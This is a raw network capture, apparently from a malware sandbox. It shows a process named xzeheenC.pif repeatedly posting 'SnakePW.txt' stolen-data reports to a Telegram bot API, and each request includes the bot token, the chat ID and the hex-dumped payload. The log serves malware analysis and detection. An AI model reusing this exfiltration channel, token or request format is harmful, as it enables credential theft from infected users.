{"ok":true,"result":{"message_id":418916,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535095,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49983	149.154.167.220	443	6656	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:15 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd229ac9c02cfe Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:15 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 32 39 61 63 39 63 30 32 63 66 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 36 3a 34 38 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd229ac9c02cfeContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:16:48Client IP:
2024-12-18 15:18:16 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:15 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:16 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 31 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 39 35 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418918,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535095,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49984	149.154.167.220	443	432	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:15 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd218608facd63 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:15 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 31 38 36 30 38 66 61 63 64 36 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 30 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd218608facd63Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:00Client IP:
2024-12-18 15:18:16 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:15 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:16 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 31 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 39 35 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418919,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535095,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49989	149.154.167.220	443	2140	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:17 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd2189f0cb04ca Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:17 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 31 38 39 66 30 63 62 30 34 63 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 35 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd2189f0cb04caContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:05Client IP:
2024-12-18 15:18:17 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:17 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:17 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 32 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 39 37 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418921,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535097,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49990	149.154.167.220	443	6656	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:17 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd22de6d3ef3c7 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:17 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 32 64 65 36 64 33 65 66 33 63 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 36 3a 34 38 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd22de6d3ef3c7Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:16:48Client IP:
2024-12-18 15:18:18 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:17 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:18 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 32 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 39 37 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418923,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535097,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	49991	149.154.167.220	443	432	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:17 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd21a9f558bff4 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:17 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 31 61 39 66 35 35 38 62 66 66 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 30 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd21a9f558bff4Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:00Client IP:
2024-12-18 15:18:18 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:17 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:18 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 32 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 39 37 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418924,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535097,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	49997	149.154.167.220	443	2140	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:19 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd21acbc242eed Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:19 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 31 61 63 62 63 32 34 32 65 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 35 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd21acbc242eedContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:05Client IP:
2024-12-18 15:18:19 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:19 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:19 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 32 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 39 39 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418928,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535099,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	49998	149.154.167.220	443	6656	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:19 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd2321d33b2b75 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:19 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 33 32 31 64 33 33 62 32 62 37 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 36 3a 34 38 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd2321d33b2b75Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:16:48Client IP:
2024-12-18 15:18:20 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:19 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:20 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 33 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 39 39 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418930,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535099,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	49999	149.154.167.220	443	432	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:19 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd21d05113ef78 Host: api.telegram.org Content-Length: 535
